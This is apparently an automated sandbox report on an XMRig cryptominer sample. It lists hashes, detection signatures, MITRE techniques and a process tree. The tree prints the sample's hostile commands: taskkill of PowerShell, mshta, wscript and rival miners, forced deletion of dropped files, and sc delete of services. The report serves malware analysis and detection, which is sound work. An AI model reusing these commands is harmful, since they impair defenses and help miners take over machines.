xmrig | 25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e

General

Target

25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
Size

388KB
MD5

46e79da96551ae6319f7ed66ff8d63c8
SHA1

8290602f84440d3899401b0d51044021470b8a4d
SHA256

25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e
SHA512

94015a7433c21f43a2a8ee5788d453b72b1a44ae5b9c5b6a848e959a56a90c5c1ada32fe6be9ea42ded0b39d03fa12908b490210191a55c00ed9bb84161f434c
SSDEEP

6144:CxcIv8sDu4A+Oqp5UW9GtetZ5wZOTbNSubJyg+oiw4BHbz1qfOvlAkmQRFW:CxN5Duqzj9GsZGMn1yg+PwCHnVmQRFW

Score

10^/10

xmrig evasion miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\sqlageatc.exe	xmrig
C:\Users\Admin\AppData\Local\Temp\sqlageatc.exe	xmrig

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

sqlageatc.exe

pid process

5748 sqlageatc.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
5748	sqlageatc.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/800-133-0x00000000023A0000-0x00000000023AB000-memory.dmp	upx
behavioral1/memory/800-134-0x00000000023A0000-0x00000000023AB000-memory.dmp	upx

Launches sc.exe 24 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
4540	sc.exe
3980	sc.exe
1732	sc.exe
2340	sc.exe
4924	sc.exe
4500	sc.exe
1576	sc.exe
4212	sc.exe
4940	sc.exe
1508	sc.exe
1084	sc.exe
3712	sc.exe
312	sc.exe
1028	sc.exe
3556	sc.exe
860	sc.exe
2504	sc.exe
3360	sc.exe
4068	sc.exe
4276	sc.exe
2508	sc.exe
5076	sc.exe
380	sc.exe
4752	sc.exe

Kills process with taskkill 64 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
5056	taskkill.exe
6140	taskkill.exe
4920	taskkill.exe
4188	taskkill.exe
4192	taskkill.exe
912	taskkill.exe
3728	taskkill.exe
456	taskkill.exe
3464	taskkill.exe
3512	taskkill.exe
1984	taskkill.exe
3484	taskkill.exe
3360	taskkill.exe
5044	taskkill.exe
4928	taskkill.exe
4940	taskkill.exe
4152	taskkill.exe
1852	taskkill.exe
1576	taskkill.exe
3972	taskkill.exe
2268	taskkill.exe
3960	taskkill.exe
1564	taskkill.exe
1112	taskkill.exe
4700	taskkill.exe
1808	taskkill.exe
4764	taskkill.exe
3212	taskkill.exe
4708	taskkill.exe
3128	taskkill.exe
3872	taskkill.exe
2888	taskkill.exe
864	taskkill.exe
4908	taskkill.exe
3472	taskkill.exe
4708	taskkill.exe
1936	taskkill.exe
3556	taskkill.exe
3896	taskkill.exe
3520	taskkill.exe
3984	taskkill.exe
1452	taskkill.exe
1984	taskkill.exe
3112	taskkill.exe
1884	taskkill.exe
2852	taskkill.exe
4408	taskkill.exe
5096	taskkill.exe
3196	taskkill.exe
5060	taskkill.exe
4480	taskkill.exe
2376	taskkill.exe
2148	taskkill.exe
4952	taskkill.exe
1464	taskkill.exe
1456	taskkill.exe
5000	taskkill.exe
764	taskkill.exe
3236	taskkill.exe
3740	taskkill.exe
4696	taskkill.exe
4476	taskkill.exe
6080	taskkill.exe
4164	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe

pid	process
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656

pid	process
656

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exeConhost.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exesc.exetaskkill.exeConhost.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	4768	taskkill.exe
Token: SeDebugPrivilege	1816	taskkill.exe
Token: SeDebugPrivilege	4108	taskkill.exe
Token: SeDebugPrivilege	3112	taskkill.exe
Token: SeDebugPrivilege	4764	taskkill.exe
Token: SeDebugPrivilege	3896	taskkill.exe
Token: SeDebugPrivilege	4268	taskkill.exe
Token: SeDebugPrivilege	3740	taskkill.exe
Token: SeDebugPrivilege	3520	taskkill.exe
Token: SeDebugPrivilege	3024	taskkill.exe
Token: SeDebugPrivilege	3484	taskkill.exe
Token: SeDebugPrivilege	2224	taskkill.exe
Token: SeDebugPrivilege	3212	taskkill.exe
Token: SeDebugPrivilege	3984	taskkill.exe
Token: SeDebugPrivilege	3632	taskkill.exe
Token: SeDebugPrivilege	3144	taskkill.exe
Token: SeDebugPrivilege	2356	taskkill.exe
Token: SeDebugPrivilege	3360	taskkill.exe
Token: SeDebugPrivilege	4508	taskkill.exe
Token: SeDebugPrivilege	3288	taskkill.exe
Token: SeDebugPrivilege	5060	taskkill.exe
Token: SeDebugPrivilege	1884	taskkill.exe
Token: SeDebugPrivilege	4868	taskkill.exe
Token: SeDebugPrivilege	5044	taskkill.exe
Token: SeDebugPrivilege	1736	taskkill.exe
Token: SeDebugPrivilege	956	taskkill.exe
Token: SeDebugPrivilege	1452	taskkill.exe
Token: SeDebugPrivilege	2452	taskkill.exe
Token: SeDebugPrivilege	4708	taskkill.exe
Token: SeDebugPrivilege	4480	taskkill.exe
Token: SeDebugPrivilege	3128	taskkill.exe
Token: SeDebugPrivilege	3872	taskkill.exe
Token: SeDebugPrivilege	1112	Conhost.exe
Token: SeDebugPrivilege	4700	taskkill.exe
Token: SeDebugPrivilege	2376	taskkill.exe
Token: SeDebugPrivilege	1784	taskkill.exe
Token: SeDebugPrivilege	2148	taskkill.exe
Token: SeDebugPrivilege	3916	taskkill.exe
Token: SeDebugPrivilege	4272	taskkill.exe
Token: SeDebugPrivilege	3148	taskkill.exe
Token: SeDebugPrivilege	1576	sc.exe
Token: SeDebugPrivilege	3972	taskkill.exe
Token: SeDebugPrivilege	4188	Conhost.exe
Token: SeDebugPrivilege	4952	taskkill.exe
Token: SeDebugPrivilege	4192	taskkill.exe
Token: SeDebugPrivilege	4844	taskkill.exe
Token: SeDebugPrivilege	4696	taskkill.exe
Token: SeDebugPrivilege	3688	taskkill.exe
Token: SeDebugPrivilege	2268	taskkill.exe
Token: SeDebugPrivilege	3084	taskkill.exe
Token: SeDebugPrivilege	3128	taskkill.exe
Token: SeDebugPrivilege	1984	taskkill.exe
Token: SeDebugPrivilege	4928	taskkill.exe
Token: SeDebugPrivilege	4408	taskkill.exe
Token: SeDebugPrivilege	4468	taskkill.exe
Token: SeDebugPrivilege	1928	taskkill.exe
Token: SeDebugPrivilege	3480	taskkill.exe
Token: SeDebugPrivilege	912	taskkill.exe
Token: SeDebugPrivilege	460	taskkill.exe
Token: SeDebugPrivilege	5096	taskkill.exe
Token: SeDebugPrivilege	4388	taskkill.exe
Token: SeDebugPrivilege	3388	taskkill.exe
Token: SeDebugPrivilege	5000	taskkill.exe
Token: SeDebugPrivilege	764	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

sqlageatc.exe

pid process

5748 sqlageatc.exe

pid	process
5748	sqlageatc.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe

pid	process
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 800 wrote to memory of 1248	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 1248	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 1248	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 1248 wrote to memory of 4768	1248	cmd.exe	taskkill.exe
PID 1248 wrote to memory of 4768	1248	cmd.exe	taskkill.exe
PID 1248 wrote to memory of 4768	1248	cmd.exe	taskkill.exe
PID 800 wrote to memory of 1348	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 1348	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 1348	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 1348 wrote to memory of 1816	1348	cmd.exe	taskkill.exe
PID 1348 wrote to memory of 1816	1348	cmd.exe	taskkill.exe
PID 1348 wrote to memory of 1816	1348	cmd.exe	taskkill.exe
PID 800 wrote to memory of 528	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 528	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 528	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 528 wrote to memory of 4108	528	cmd.exe	taskkill.exe
PID 528 wrote to memory of 4108	528	cmd.exe	taskkill.exe
PID 528 wrote to memory of 4108	528	cmd.exe	taskkill.exe
PID 800 wrote to memory of 1880	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 1880	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 1880	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 1852	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 1852	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 1852	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 4372	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 4372	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 4372	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 3472	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 3472	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 3472	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 2040	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 2040	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 2040	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 2040 wrote to memory of 3112	2040	cmd.exe	taskkill.exe
PID 2040 wrote to memory of 3112	2040	cmd.exe	taskkill.exe
PID 2040 wrote to memory of 3112	2040	cmd.exe	taskkill.exe
PID 800 wrote to memory of 3248	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 3248	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 3248	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 4752	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 4752	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 4752	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 2452	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 2452	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 2452	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 5080	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 5080	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 5080	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 2504	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 2504	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 2504	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 2504 wrote to memory of 4764	2504	cmd.exe	taskkill.exe
PID 2504 wrote to memory of 4764	2504	cmd.exe	taskkill.exe
PID 2504 wrote to memory of 4764	2504	cmd.exe	taskkill.exe
PID 800 wrote to memory of 4876	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 4876	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 4876	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 4876 wrote to memory of 3896	4876	cmd.exe	taskkill.exe
PID 4876 wrote to memory of 3896	4876	cmd.exe	taskkill.exe
PID 4876 wrote to memory of 3896	4876	cmd.exe	taskkill.exe
PID 800 wrote to memory of 3524	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 3524	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 3524	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe
PID 800 wrote to memory of 4128	800	25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe
"C:\Users\Admin\AppData\Local\Temp\25b857d6f48515ea5d913223f29b92b5f02013cd891009af1b6ec1f04b06a43e.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:800

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im wscript.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1248

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im wscript.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4768

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENTSWD.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1348

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENTSWD.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im exp1orer.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:528

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im exp1orer.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4108

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\ProgramData\exp1orer.exe
2⤵
PID:1880

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Users\exp1orer.exe
2⤵
PID:1852

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\RECYCLER\exp1orer.exe
2⤵
PID:4372

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:/RECYCLER/exp1orer.exe
2⤵
PID:3472

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im expl0rer.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2040

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im expl0rer.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3112

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\ProgramData\expl0rer.exe
2⤵
PID:3248

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Users\expl0rer.exe
2⤵
PID:4752

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:/RECYCLER/expl0rer.exe
2⤵
PID:5080

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\RECYCLER\expl0rer.exe
2⤵
PID:2452

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im mshta.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2504

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mshta.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4764

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im powershell.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:4876

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im powershell.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3896

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im powershell.exe
2⤵
PID:3524

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im powershell.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4268

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im WmiPrvSER.exe
2⤵
PID:4128

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im WmiPrvSER.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3740

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %systemroot%\Help\WmiPrvSER.exe
2⤵
PID:5060

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\Help\WmiPrvSER.exe
2⤵
PID:680

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Netsh_Help.dll
2⤵
PID:4444

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Netsh_Help.dll
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3520

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %systemroot%\SysWOW64\Netsh_Help.dll
2⤵
PID:4804

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\SysWOW64\Netsh_Help.dll
2⤵
PID:1888

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im CGlobalan.exe
2⤵
PID:2744

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im CGlobalan.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3024

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %systemroot%\SystemCvlsa\CGlobalan.exe
2⤵
PID:3100

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\SystemCvlsa\CGlobalan.exe
2⤵
PID:4368

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im CGlobalan.exe
2⤵
PID:1256

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im CGlobalan.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3484

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "CVIDIA AlibabaProtect ClobalSign"
2⤵
PID:4344

C:\Windows\SysWOW64\sc.exe
sc delete "CVIDIA AlibabaProtect ClobalSign"
3⤵
- Launches sc.exe
PID:4276

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "CVIDIA AlibabaProtect ClobalSign"
2⤵
PID:4756

C:\Windows\SysWOW64\sc.exe
sc delete "CVIDIA AlibabaProtect ClobalSign"
3⤵
- Launches sc.exe
PID:4068

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Gsmarn64.exe
2⤵
PID:4104

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Gsmarn64.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2224

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Gsmarn32.exe
2⤵
PID:4968

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Gsmarn32.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3212

